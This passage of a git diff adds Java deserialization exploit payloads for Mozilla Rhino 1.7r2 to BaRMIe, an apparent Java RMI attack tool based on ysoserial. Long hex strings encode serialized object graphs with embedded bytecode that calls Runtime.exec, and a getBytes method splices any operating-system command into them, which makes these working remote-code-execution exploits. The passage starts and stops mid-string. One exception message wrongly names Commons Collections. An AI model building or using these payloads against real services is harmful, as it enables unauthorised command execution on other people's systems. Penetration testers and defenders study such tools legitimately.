00497371007e00290002c89b7627740012656e636f6465555249436f6d706f6e656e747371007e002c000000007071007e001a707704000000007877040000000078000000047000000001000000040071007e005171007e004871007e00497371007e00290002b2dc80817400066573636170657371007e002c000000007071007e001a707704000000007877040000000078000000047000000001000000050071007e005471007e004871007e00497371007e00290002002fb09c7400046576616c7371007e002c000000007071007e001a707704000000007877040000000078000000047000000001000000060071007e005771007e004871007e00497371007e00290002dc367e79740008697346696e6974657371007e002c000000007071007e001a707704000000007877040000000078000000047000000001000000070071007e005a71007e004871007e00497371007e0029000205fd1b7174000569734e614e7371007e002c000000007071007e001a707704000000007877040000000078000000047000000001000000080071007e005d71007e004871007e00497371007e0029000231161eb87400096973584d4c4e616d657371007e002c000000007071007e001a707704000000007877040000000078000000047000000001000000090071007e006071007e004871007e00497371007e00290002c428cf6974000a7061727365466c6f61747371007e002c000000007071007e001a7077040000000078770400000000780000000470000000010000000a0071007e006371007e004871007e00497371007e0029000246cc243c7400087061727365496e747371007e002c000000007071007e001a7077040000000078770400000000780000000470000000020000000b0071007e006671007e004871007e00497371007e00290002e7b3785a740008756e6573636170657371007e002c000000007071007e001a7077040000000078770400000000780000000470000000010000000c0071007e006971007e004871007e00497371007e00290002cde4cab5740006756e6576616c7371007e002c000000007071007e001a7077040000000078770400000000780000000470000000010000000d0071007e006c71007e004871007e00497371007e00290002000130db7400034e614e737200106a6176612e6c616e672e446f75626c6580b3c24a296bfb0402000144000576616c7565707871007e00427ff80000000000007371007e002900020e2cce48740008496e66696e6974797371007e00707ff00000000000007371007e00290002c21f6150740009756e646566696e6564737200206f72672e6d6f7a696c6c612e6a6176617363726970742e556e646566696e65647f9d9ecff72acbbf0200007078707371007e00290002e859127274000f436f6e76657273696f6e4572726f727371007e002c000000007071007e001a707704000000007877040000000078000000077371007e0011000000017071007e001a71007e00377704000000057371007e0029000000337a8b71007e003971007e007a7877040000000078000000010000000e0171007e007a71007e004871007e00497371007e002900029fc652ac7400094576616c4572726f727371007e002c000000007071007e001a707704000000007877040000000078000000077371007e0011000000017071007e001a71007e00377704000000057371007e0029000000337a8b71007e003971007e007f7877040000000078000000010000000e0171007e007f71007e004871007e00497371007e002900020932c2eb74000a52616e67654572726f727371007e002c000000007071007e001a707704000000007877040000000078000000077371007e0011000000017071007e001a71007e00377704000000057371007e0029000000337a8b71007e003971007e00847877040000000078000000010000000e0171007e008471007e004871007e00497371007e002900025198459d74000e5265666572656e63654572726f727371007e002c000000007071007e001a707704000000007877040000000078000000077371007e0011000000017071007e001a71007e00377704000000057371007e0029000000337a8b71007e003971007e00897877040000000078000000010000000e0171007e008971007e004871007e00497371007e00290002605053c574000b53796e7461784572726f727371007e002c000000007071007e001a707704000000007877040000000078000000077371007e0011000000017071007e001a71007e00377704000000057371007e0029000000337a8b71007e003971007e008e7877040000000078000000010000000e0171007e008e71007e004871007e00497371007e0029000294f7e6ce740009547970654572726f727371007e002c000000007071007e001a707704000000007877040000000078000000077371007e0011000000017071007e001a71007e00377704000000057371007e0029000000337a8b71007e003971007e00937877040000000078000000010000000e0171007e009371007e004871007e00497371007e00290002f016881c7400085552494572726f727371007e002c000000007071007e001a707704000000007877040000000078000000077371007e0011000000017071007e001a71007e00377704000000057371007e0029000000337a8b71007e003971007e00987877040000000078000000010000000e0171007e009871007e004871007e00497371007e002900029b10f92b74000d496e7465726e616c4572726f727371007e002c000000007071007e001a707704000000007877040000000078000000077371007e0011000000017071007e001a71007e00377704000000057371007e0029000000337a8b71007e003971007e009d7877040000000078000000010000000e0171007e009d71007e004871007e00497371007e00290002dd2fbc2d74000d4a617661457863657074696f6e7371007e002c000000007071007e001a707704000000007877040000000078000000077371007e0011000000017071007e001a71007e00377704000000057371007e0029000000337a8b71007e003971007e00a27877040000000078000000010000000e0171007e00a271007e004871007e00497371007e0029000203c9823974000541727261797371007e002c000000117071007e001a707704000000177371007e002900020031dd2a7400046a6f696e7371007e002c000000007071007e001a707704000000007877040000000078000000047000000002fffffffb0071007e00aa737200226f72672e6d6f7a696c6c612e6a6176617363726970742e4e6174697665417272617965be3f5055db7c6a0200035a000964656e73654f6e6c794a00066c656e6774685b000564656e73657400135b4c6a6176612f6c616e672f4f626a6563743b707871007e0012000000007071007e001a71007e00217704000000007877040000001578010000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007078700000000a737200206f72672e6d6f7a696c6c612e6a6176617363726970742e556e69717565546167c40a4c7517c9e69502000149000574616749647078700000000171007e00b271007e00b271007e00b271007e00b271007e00b271007e00b271007e00b271007e00b271007e00b271007e00a77371007e00290002418e52e2740007726576657273657371007e002c000000007071007e001a707704000000007877040000000078000000047000000001fffffffa0071007e00b471007e00ae71007e00a77371007e002900020035f59e740004736f72747371007e002c000000007071007e001a707704000000007877040000000078000000047000000002fffffff90071007e00b771007e00ae71007e00a77371007e002900020034af1a740004707573687371007e002c000000007071007e001a707704000000007877040000000078000000047000000002fffffff80071007e00ba71007e00ae71007e00a77371007e002900020001b251740003706f707371007e002c000000007071007e001a707704000000007877040000000078000000047000000002fffffff70071007e00bd71007e00ae71007e00a77371007e0029000206856c8274000573686966747371007e002c000000007071007e001a707704000000007877040000000078000000047000000002fffffff60071007e00c071007e00ae71007e00a77371007e00290002ef739589740007756e73686966747371007e002c000000007071007e001a707704000000007877040000000078000000047000000002fffffff50071007e00c371007e00ae71007e00a77371007e00290002ca9a467c74000673706c6963657371007e002c000000007071007e001a707704000000007877040000000078000000047000000002fffffff40071007e00c671007e00ae71007e00a77371007e00290002af3f7714740006636f6e6361747371007e002c000000007071007e001a707704000000007877040000000078000000047000000002fffffff30071007e00c971007e00ae71007e00a77371007e0029000206873d92740005736c6963657371007e002c000000007071007e001a707704000000007877040000000078000000047000000002fffffff20071007e00cc71007e00ae71007e00a77371007e0029000273d44649740007696e6465784f667371007e002c000000007071007e001a707704000000007877040000000078000000047000000002fffffff10071007e00cf71007e00ae71007e00a77371007e00290002e42256d374000b6c617374496e6465784f667371007e002c000000007071007e001a707704000000007877040000000078000000047000000002fffffff00071007e00d271007e00ae71007e00a77371007e0029000205c6731b74000565766572797371007e002c000000007071007e001a707704000000007877040000000078000000047000000002ffffffef0071007e00d571007e00ae71007e00a77371007e00290002b408cb7874000666696c7465727371007e002c000000007071007e001a707704000000007877040000000078000000047000000002ffffffee0071007e00d871007e00ae71007e00a77371007e00290002d78cd66a740007666f72456163687371007e002c000000007071007e001a707704000000007877040000000078000000047000000002ffffffed0071007e00db71007e00ae71007e00a77371007e002900020001a55c7400036d61707371007e002c000000007071007e001a707704000000007877040000000078000000047000000002ffffffec0071007e00de71007e00ae71007e00a77371007e002900020035f4f4740004736f6d657371007e002c000000007071007e001a707704000000007877040000000078000000047000000002ffffffeb0071007e00e171007e00ae71007e00a778770400000000780000000771007e00ae00000001000000010171007e00a771007e00ae71007e00a77371007e00290002943a4c31740006537472696e677371007e002c000000127071007e001a7077040000002f7371007e00290002c4fe4c2d74000c66726f6d43686172436f64657371007e002c000000007071007e001a707704000000007877040000000078000000047000000001ffffffff0071007e00e7737200236f72672e6d6f7a696c6c612e6a6176617363726970742e4e6174697665537472696e670cc57334977d230f0200014c0006737472696e6771007e0005707871007e0012000000007071007e001a71007e0021770400000000787704000000247871007e003c71007e00e47371007e00290002aed71e297400066368617241747371007e002c000000007071007e001a707704000000007877040000000078000000047000000002fffffffb0071007e00ec71007e00ea71007e00e47371007e0029000217ac15f674000a63686172436f646541747371007e002c000000007071007e001a707704000000007877040000000078000000047000000002fffffffa0071007e00ef71007e00ea71007e00e47371007e0029000273d4464971007e00cf7371007e002c000000007071007e001a707704000000007877040000000078000000047000000002fffffff90071007e00cf71007e00ea71007e00e47371007e00290002e42256d371007e00d27371007e002c000000007071007e001a707704000000007877040000000078000000047000000002fffffff80071007e00d271007e00ea71007e00e47371007e0029000206891b1a74000573706c69747371007e002c000000007071007e001a707704000000007877040000000078000000047000000003fffffff70071007e00f671007e00ea71007e00e47371007e002900021f9f6e51740009737562737472696e677371007e002c000000007071007e001a707704000000007877040000000078000000047000000003fffffff60071007e00f971007e00ea71007e00e47371007e00290002bc31dd9674000b746f4c6f776572436173657371007e002c000000007071007e001a707704000000007877040000000078000000047000000001fffffff50071007e00fc71007e00ea71007e00e47371007e00290002e82f52b774000b746f5570706572436173657371007e002c000000007071007e001a707704000000007877040000000078000000047000000001fffffff40071007e00ff71007e00ea71007e00e47371007e00290002cadc57f17400067375627374727371007e002c000000007071007e001a707704000000007877040000000078000000047000000003fffffff30071007e010271007e00ea71007e00e47371007e00290002af3f771471007e00c97371007e002c000000007071007e001a707704000000007877040000000078000000047000000002fffffff20071007e00c971007e00ea71007e00e47371007e0029000206873d9271007e00cc7371007e002c000000007071007e001a707704000000007877040000000078000000047000000003fffffff10071007e00cc71007e00ea71007e00e47371007e002900020f5dad41740010657175616c7349676e6f7265436173657371007e002c000000007071007e001a707704000000007877040000000078000000047000000002ffffffe20071007e010971007e00ea71007e00e47371007e00290002062dd9c57400056d617463687371007e002c000000007071007e001a707704000000007877040000000078000000047000000002ffffffe10071007e010c71007e00ea71007e00e47371007e00290002c9fa65a87400067365617263687371007e002c000000007071007e001a707704000000007877040000000078000000047000000002ffffffe00071007e010f71007e00ea71007e00e47371007e00290002413cb2b47400077265706c6163657371007e002c000000007071007e001a707704000000007877040000000078000000047000000002ffffffdf0071007e011271007e00ea71007e00e47371007e002900023e27cd2b74000d6c6f63616c65436f6d706172657371007e002c000000007071007e001a707704000000007877040000000078000000047000000002ffffffde0071007e011571007e00ea71007e00e47371007e00290002a8aecc9c740011746f4c6f63616c654c6f776572436173657371007e002c000000007071007e001a707704000000007877040000000078000000047000000001ffffffdd0071007e011871007e00ea71007e00e478770400000000780000000771007e00ea00000001000000010171007e00e471007e00ea71007e00e47371007e0029000267140408740007426f6f6c65616e7371007e002c000000007071007e001a70770400000000787704000000007800000007737200246f72672e6d6f7a696c6c612e6a6176617363726970742e4e6174697665426f6f6c65616ecc6a9303539de71b0200015a000c626f6f6c65616e56616c7565707871007e0012000000007071007e001a71007e002177040000000078770400000004780000000001000000010171007e011b71007e011e71007e011b7371007e002900028bbdc7697400064e756d6265727371007e002c000000057071007e001a7077040000000b7371007e00290007000130db71007e006f71007e00717371007e00290007eb1e29ae740011504f5349544956455f494e46494e4954597371007e00707ff00000000000007371007e0029000734e07af27400114e454741544956455f494e46494e4954597371007e0070fff00000000000007371007e00290007cedd22967400094d41585f56414c55457371007e00707fefffffffffffff7371007e00290007fce839047400094d494e5f56414c55457371007e00700000000000000001787704000000007800000007737200236f72672e6d6f7a696c6c612e6a6176617363726970742e4e61746976654e756d62657230a28b6f31d79da502000144000b646f75626c6556616c7565707871007e0012000000007071007e001a71007e00217704000000007877040000000878000000000000000000000001000000010171007e012071007e013071007e01207371007e00290002002063ce740004446174657371007e002c000000037071007e001a707704000000057371007e002900020001aad67400036e6f777371007e002c000000007071007e001a707704000000007877040000000078000000047000000000fffffffd0071007e0135737200216f72672e6d6f7a696c6c612e6a6176617363726970742e4e6174697665446174658cb60c521acef48a02000144000464617465707871007e0012000000007071007e001a71007e00217704000000007877040000002d787ff800000000000071007e01327371007e0029000206581ab374000570617273657371007e002c000000007071007e001a707704000000007877040000000078000000047000000001fffffffe0071007e013a71007e013871007e01327371007e00290002000149847400035554437371007e002c000000007071007e001a707704000000007877040000000078000000047000000001ffffffff0071007e013d71007e013871007e013278770400000000780000000771007e013800000001000000010171007e013271007e013871007e01327371007e0029000200247b287400044d617468737200216f72672e6d6f7a696c6c612e6a6176617363726970742e4e61746976654d61746885561b50925cc9cf020000707871007e0012000000007071007e001a71007e00217704000000007877040000001b787371007e00290002002924e6740004576974687371007e002c000000007071007e001a70770400000000787704000000007800000007737200216f72672e6d6f7a696c6c612e6a6176617363726970742e4e61746976655769746800000000000000010200024c0006706172656e7471007e00154c000970726f746f7479706571007e001570787071007e001a71007e002100000000000000010171007e014471007e014771007e01447371007e00290002001fee7e74000443616c6c7371007e002c000000007071007e001a70770400000000787704000000007800000007737200216f72672e6d6f7a696c6c612e6a6176617363726970742e4e617469766543616c6c98500d2b813fd2ca0200024c000866756e6374696f6e71007e00275b000c6f726967696e616c4172677371007e00ad707871007e0012000000007071007e001a71007e00217704000000007877040000000178707000000001000000010171007e014971007e014c71007e01497371007e00290002934abceb7400065363726970747371007e002c000000007071007e001a737200236f72672e6d6f7a696c6c612e6a6176617363726970742e4e6174697665536372697074a1b2f37ec354ad9c0200014c000673637269707474001f4c6f72672f6d6f7a696c6c612f6a6176617363726970742f5363726970743b707871007e002e000000007071007e001a71007e0021770400000000787704000000047800000004707077040000000078770400000000780000000771007e015200000001000000010171007e014e71007e015271007e014e7371007e002900024a566c8e71007e001e7371007e002c000000007071007e001a70770400000000787704000000007800000007737200256f72672e6d6f7a696c6c612e6a6176617363726970742e4e61746976654974657261746f72c6968956626dc69f0200014c000e6f626a6563744974657261746f7271007e0001707871007e0012000000007071007e001a71007e002177040000000078770400000003787000000002000000010171007e001e71007e015671007e001e7371007e0029000240bc18db74000d53746f70497465726174696f6e71007e0020737200326f72672e6d6f7a696c6c612e6a6176617363726970742e53637269707461626c654f626a65637424476574746572536c6f74bbfda92373201d6c0200024c000667657474657271007e00014c000673657474657271007e0001707871007e0029000291ac8d09740006526567457870737200276f72672e6d6f7a696c6c612e6a6176617363726970742e4c617a696c794c6f6164656443746f7200000000000000010200065a00067365616c656449000573746174654c0009636c6173734e616d6571007e00054c0010696e697469616c697a656456616c756571007e00014c000c70726f70657274794e616d6571007e00054c000573636f70657400294c6f72672f6d6f7a696c6c612f6a6176617363726970742f53637269707461626c654f626a6563743b707870000000000074002a6f72672e6d6f7a696c6c612e6a6176617363726970742e7265676578702e4e61746976655265674578707071007e015b71007e001a70707371007e01590002309bb90d7400085061636b616765737371007e015c000000000074002b6f72672e6d6f7a696c6c612e6a6176617363726970742e4e61746976654a617661546f705061636b6167657071007e016171007e001a70707371007e015900020031aa227400046a6176617371007e015c000000000071007e01637071007e016571007e001a70707371007e0159000206039a967400056a617661787371007e015c000000000071007e01637071007e016871007e001a70707371007e015900020001aee47400036f72677371007e015c000000000071007e01637071007e016b71007e001a70707371007e0159000200018181740003636f6d7371007e015c000000000071007e01637071007e016e71007e001a70707371007e01590002000187b67400036564757371007e015c000000000071007e01637071007e017171007e001a70707371007e015900020001a99d7400036e65747371007e015c000000000071007e01637071007e017471007e001a70707371007e0159000274434fc2740008676574436c6173737371007e015c000000000071007e01637071007e017771007e001a70707371007e015900026c71eead74000b4a617661416461707465727371007e015c00000000007400226f72672e6d6f7a696c6c612e6a6176617363726970742e4a617661416461707465727071007e017a71007e001a70707371007e0159000256774b7474000c4a617661496d706f727465727371007e015c00000000007400276f72672e6d6f7a696c6c612e6a6176617363726970742e496d706f72746572546f704c6576656c7071007e017e71007e001a70707371007e01590002dcb5ca5774000c436f6e74696e756174696f6e7371007e015c00000000007400296f72672e6d6f7a696c6c612e6a6176617363726970742e4e6174697665436f6e74696e756174696f6e7071007e018271007e001a70707371007e01590002000153f7740003584d4c7371007e015c00000000007400296f72672e6d6f7a696c6c612e6a6176617363726970742e786d6c696d706c2e584d4c4c6962496d706c7071007e018671007e001a70707371007e01590002b6dca535740007584d4c4c6973747371007e015c000000000071007e01887071007e018a71007e001a70707371007e01590002c215753b7400094e616d6573706163657371007e015c000000000071007e01887071007e018d71007e001a70707371007e01590002049a5e7c740005514e616d657371007e015c000000000071007e01887071007e019071007e001a70707877040000000078707701007372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00054c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b70787000000000ffffffff757200035b5b424bfd19156767db3702000070787000000002757200025b42acf317f8060854e0020000707870"; + private final String _mid_chunk = "cafebabe0000003100380a00030022070036070025070026010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010005284c3b29560100014101000141010001410100014101000141070027010006284c413b29560100014101000141010001410100014101000141010001410c000a000b07002801000141010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a6176612f696f2f53657269616c697a61626c6501000141010001410100083c636c696e69743e0100116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a002b002e01"; + private final String _footer_chunk = "08003001000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c003200330a002b00340100014101000141002100020003000100040001001a000500060001000700000002000800040001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000002e000e0000000c000100000005000f003700000001001300140002000c0000003f0000000300000001b100000002000d00000006000100000033000e00000020000300000001000f0037000000000001001500160001000000010017001800020019000000040001001a00010013001b0002000c000000490000000400000001b100000002000d00000006000100000037000e0000002a000400000001000f003700000000000100150016000100000001001c001d000200000001001e001f00030019000000040001001a00080029000b0001000c0000001b000300020000000fa70003014cb8002f1231b6003557b1000000000002002000000002002100110000000a000100020023001000097571007e019900000113cafebabe00000031001b0a00030015070017070018070019010001410100014a010001410500000000000000000100063c696e69743e010003282956010004436f646501000141010001410100014101000141010001410100014101000141010001410c000a000b07001a01000241410100106a6176612f6c616e672f4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501000141002100020003000100040001001a000500060001000700000002000800010001000a000b0001000c0000002f00010001000000052ab70001b100000002000d0000000600010000003b000e0000000c000100000005000f001200000002001300000002001400110000000a000100020016001000097074000141707701007874000f6a6176612e6c616e672e436c617373787704000000017371007e0159000000337a8b71007e003971007e0078737200206f72672e6d6f7a696c6c612e6a6176617363726970742e4d656d626572426f78583e1be606e304b503000070787077020101740005656e7465727672001e6f72672e6d6f7a696c6c612e6a6176617363726970742e436f6e7465787400000000000000000000007078707702000078707371007e0159000038eb000771007e003b71007e0078737200276f72672e6d6f7a696c6c612e6a6176617363726970742e4e61746976654a6176614d6574686f64d0414efe72fe69000200024c000c66756e6374696f6e4e616d6571007e00055b00076d6574686f64737400235b4c6f72672f6d6f7a696c6c612f6a6176617363726970742f4d656d626572426f783b707871007e002e000000007070707704000000007877040000000078000000047071007e003b757200235b4c6f72672e6d6f7a696c6c612e6a6176617363726970742e4d656d626572426f783b3226214ee6215239020000707870000000017371007e019f7702010174000e6e65775472616e73666f726d65727671007e01927702000078707877040000000078"; + + /******************* + * Set payload properties + ******************/ + public RhinoPayload1() { + super(); + this.setName("Rhino1"); + this.setDescription("Mozilla Rhino 1.7r2"); + this.setRemediationAdvice("[Mozilla Rhino] " + this.REMEDIATION_NO_FIX); + this.setAffectedJars(new String[] { + "js.jar" + }); + } + + /******************* + * Generate payload bytes for the given OS command, correcting references + * by the given amount. + * + * @param cmd The operating system command to execute. + * @param refCorrection The amount to correct TC_REFERENCE handles by (see note above). + * @return An array of bytes making up the deserialization payload. + ******************/ + public byte[] getBytes(String cmd, int refCorrection) throws BaRMIeException { + ByteArrayOutputStream out; + + //Generate the payload bytes + try { + //Fix references in the header bytes and add them to the output + out = new ByteArrayOutputStream(); + out.write(this.fixReferences(this.hexStrToByteArray(this._header_chunk), refCorrection)); + + //Add the middle chunk + out.write(this.intToByteArray(765 + cmd.length())); + out.write(this.hexStrToByteArray(this._mid_chunk)); + + //Add the command string to the output + out.write(this.stringToUtf8ByteArray(cmd)); + + //Fix references in the footer bytes and add them to the output + out.write(this.fixReferences(this.hexStrToByteArray(this._footer_chunk), refCorrection)); + } catch(IOException ioe) { + throw new BaRMIeDeserPayloadGenerationException("Failed to build Commons Collections 1 deserialization payload.", ioe); + } + + //Return the payload bytes + return out.toByteArray(); + } +} + diff --git a/src/nb/barmie/modes/attack/deser/payloads/RhinoPayload2.java b/src/nb/barmie/modes/attack/deser/payloads/RhinoPayload2.java new file mode 100644 index 0000000..57e1c84 --- /dev/null +++ b/src/nb/barmie/modes/attack/deser/payloads/RhinoPayload2.java @@ -0,0 +1,75 @@ +package nb.barmie.modes.attack.deser.payloads; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import nb.barmie.exceptions.BaRMIeDeserPayloadGenerationException; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.modes.attack.DeserPayload; + +/*********************************************************** + * Deserialization payload for Mozilla Rhino 1.7r2 for Java + * 1.4. + * + * Based on the ysoserial and the excellent work of Chris + * Frohoff, Matthias Kaiser et al + * (https://github.com/frohoff/ysoserial). + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class RhinoPayload2 extends DeserPayload { + /******************* + * Properties + ******************/ + //Payload data chunks + private final String _header_chunk = "7372002E6A617661782E6D616E6167656D656E742E42616441747472696275746556616C7565457870457863657074696F6ED4E7DAAB632D46400200014C000376616C7400124C6A6176612F6C616E672F4F626A6563743B70787200136A6176612E6C616E672E457863657074696F6ED0FD1F3E1A3B1CC402000070787200136A6176612E6C616E672E5468726F7761626C65D5C635273977B8CB0300044C000563617573657400154C6A6176612F6C616E672F5468726F7761626C653B4C000D64657461696C4D6573736167657400124C6A6176612F6C616E672F537472696E673B5B000A737461636B547261636574001E5B4C6A6176612F6C616E672F537461636B5472616365456C656D656E743B4C001473757070726573736564457863657074696F6E737400104C6A6176612F7574696C2F4C6973743B70787071007E0008707572001E5B4C6A6176612E6C616E672E537461636B5472616365456C656D656E743B02462A3C3CFD223902000070787000000000737200266A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C654C697374FC0F2531B5EC8E100200014C00046C69737471007E0007707872002C6A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C65436F6C6C656374696F6E19420080CB5EF71E0200014C0001637400164C6A6176612F7574696C2F436F6C6C656374696F6E3B707870737200136A6176612E7574696C2E41727261794C6973747881D21D99C7619D03000149000473697A65707870000000007704000000007871007E001078737200226F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654572726F72B5EA2521BE49CE7D02000070787200296F72672E6D6F7A696C6C612E6A6176617363726970742E496453637269707461626C654F626A6563742A2B6FC82E6217A303000070787200276F72672E6D6F7A696C6C612E6A6176617363726970742E53637269707461626C654F626A6563744F5D4929A46EC7B8030004490005636F756E744C00106173736F63696174656456616C75657374000F4C6A6176612F7574696C2F4D61703B4C0011706172656E7453636F70654F626A6563747400234C6F72672F6D6F7A696C6C612F6A6176617363726970742F53637269707461626C653B4C000F70726F746F747970654F626A65637471007E0015707870000000027070737200276F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654A6176614F626A6563749F91A59E35C431E10300024C0006706172656E7471007E00154C000970726F746F7479706571007E0015707870737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654F626A656374A7F0F22AFF97BA0C020000707871007E001200000037737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C647078703F4000000000000C7708000000100000000474000D4C4942524152595F53434F504571007E001A7400084974657261746F72737200336F72672E6D6F7A696C6C612E6A6176617363726970742E4E61746976654974657261746F722453746F70497465726174696F6E227D07BEDDA89DBF020000707871007E0019000000007071007E001A7371007E0019000000007071007E001A707704000000007877040000000C78770400000000787704000000007874000A436C6173734361636865737200216F72672E6D6F7A696C6C612E6A6176617363726970742E436C617373436163686584F4C43496DC1F290200025A001063616368696E674973456E61626C656449001467656E657261746564436C61737353657269616C7078700000000000740000737200266F72672E6D6F7A696C6C612E6A6176617363726970742E4E617469766547656E657261746F7216D762746EC522C90200065A0009666972737454696D6549000A6C696E654E756D6265725A00066C6F636B65644C000866756E6374696F6E7400274C6F72672F6D6F7A696C6C612F6A6176617363726970742F4E617469766546756E6374696F6E3B4C000A6C696E65536F7572636571007E00054C000A7361766564537461746571007E0001707871007E001200000000707070770400000000787704000000057800000000000070707078707077040000005F7372002C6F72672E6D6F7A696C6C612E6A6176617363726970742E53637269707461626C654F626A65637424536C6F74AB79E83BE385789D02000453000A6174747269627574657349000B696E6465784F72486173684C00046E616D6571007E00054C000576616C756571007E0001707870000000000000740000737200276F72672E6D6F7A696C6C612E6A6176617363726970742E496446756E6374696F6E4F626A656374B5FFD1C66BA0FED502000649000561726974794900086D6574686F6449645A001475736543616C6C4173436F6E7374727563746F724C000C66756E6374696F6E4E616D6571007E00054C0006696463616C6C7400274C6F72672F6D6F7A696C6C612F6A6176617363726970742F496446756E6374696F6E43616C6C3B4C000374616771007E000170787200236F72672E6D6F7A696C6C612E6A6176617363726970742E4261736546756E6374696F6E49B5DD1BB05C2AE302000249001B70726F746F7479706550726F7065727479417474726962757465734C001170726F746F7479706550726F706572747971007E0001707871007E00120000000070707371007E002E0000000070707077040000000078770400000000780000000070770400000000787704000000007800000000700000000000000000007070707371007E00290000000000007400007371007E002C00000000707070770400000000787704000000007800000000700000000000000000007070707371007E00290000000000007400007371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000047071007E001A71007E002177040000000B7371007E0029000000337A8B7400046E616D6571007E00357371007E0029000038EB00077400076D6573736167657400007371007E00290000D425C62774000866696C654E616D6571007E003C7371007E00290000EC61B05D74000A6C696E654E756D626572737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C756570787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000070787000000000787704000000037800000001000000010171007E003571007E003771007E00357371007E002900021EB5489E7400096465636F64655552497371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000010071007E0045737200236F72672E6D6F7A696C6C612E6A6176617363726970742E4E6174697665476C6F62616C546211EF26C230CA020000707870740006476C6F62616C7371007E002900022E10C5FF7400126465636F6465555249436F6D706F6E656E747371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000020071007E004B71007E004871007E00497371007E0029000259E44B76740009656E636F64655552497371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000030071007E004E71007E004871007E00497371007E00290002C89B7627740012656E636F6465555249436F6D706F6E656E747371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000040071007E005171007E004871007E00497371007E00290002B2DC80817400066573636170657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000050071007E005471007E004871007E00497371007E00290002002FB09C7400046576616C7371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000060071007E005771007E004871007E00497371007E00290002DC367E79740008697346696E6974657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000070071007E005A71007E004871007E00497371007E0029000205FD1B7174000569734E614E7371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000080071007E005D71007E004871007E00497371007E0029000231161EB87400096973584D4C4E616D657371007E002C000000007071007E001A707704000000007877040000000078000000047000000001000000090071007E006071007E004871007E00497371007E00290002C428CF6974000A7061727365466C6F61747371007E002C000000007071007E001A7077040000000078770400000000780000000470000000010000000A0071007E006371007E004871007E00497371007E0029000246CC243C7400087061727365496E747371007E002C000000007071007E001A7077040000000078770400000000780000000470000000020000000B0071007E006671007E004871007E00497371007E00290002E7B3785A740008756E6573636170657371007E002C000000007071007E001A7077040000000078770400000000780000000470000000010000000C0071007E006971007E004871007E00497371007E00290002CDE4CAB5740006756E6576616C7371007E002C000000007071007E001A7077040000000078770400000000780000000470000000010000000D0071007E006C71007E004871007E00497371007E00290002000130DB7400034E614E737200106A6176612E6C616E672E446F75626C6580B3C24A296BFB0402000144000576616C7565707871007E00427FF80000000000007371007E002900020E2CCE48740008496E66696E6974797371007E00707FF00000000000007371007E00290002C21F6150740009756E646566696E6564737200206F72672E6D6F7A696C6C612E6A6176617363726970742E556E646566696E65647F9D9ECFF72ACBBF0200007078707371007E00290002E859127274000F436F6E76657273696F6E4572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E007A7877040000000078000000010000000E0171007E007A71007E004871007E00497371007E002900029FC652AC7400094576616C4572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E007F7877040000000078000000010000000E0171007E007F71007E004871007E00497371007E002900020932C2EB74000A52616E67654572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00847877040000000078000000010000000E0171007E008471007E004871007E00497371007E002900025198459D74000E5265666572656E63654572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00897877040000000078000000010000000E0171007E008971007E004871007E00497371007E00290002605053C574000B53796E7461784572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E008E7877040000000078000000010000000E0171007E008E71007E004871007E00497371007E0029000294F7E6CE740009547970654572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00937877040000000078000000010000000E0171007E009371007E004871007E00497371007E00290002F016881C7400085552494572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E00987877040000000078000000010000000E0171007E009871007E004871007E00497371007E002900029B10F92B74000D496E7465726E616C4572726F727371007E002C000000007071007E001A707704000000007877040000000078000000077371007E0011000000017071007E001A71007E00377704000000057371007E0029000000337A8B71007E003971007E009D7877040000000078000000010000000E0171007E009D71007E004871007E00497371007E00290002DD2FBC2D74000D4A617661457863657074696F6E7371007E002C000000007071007E001A7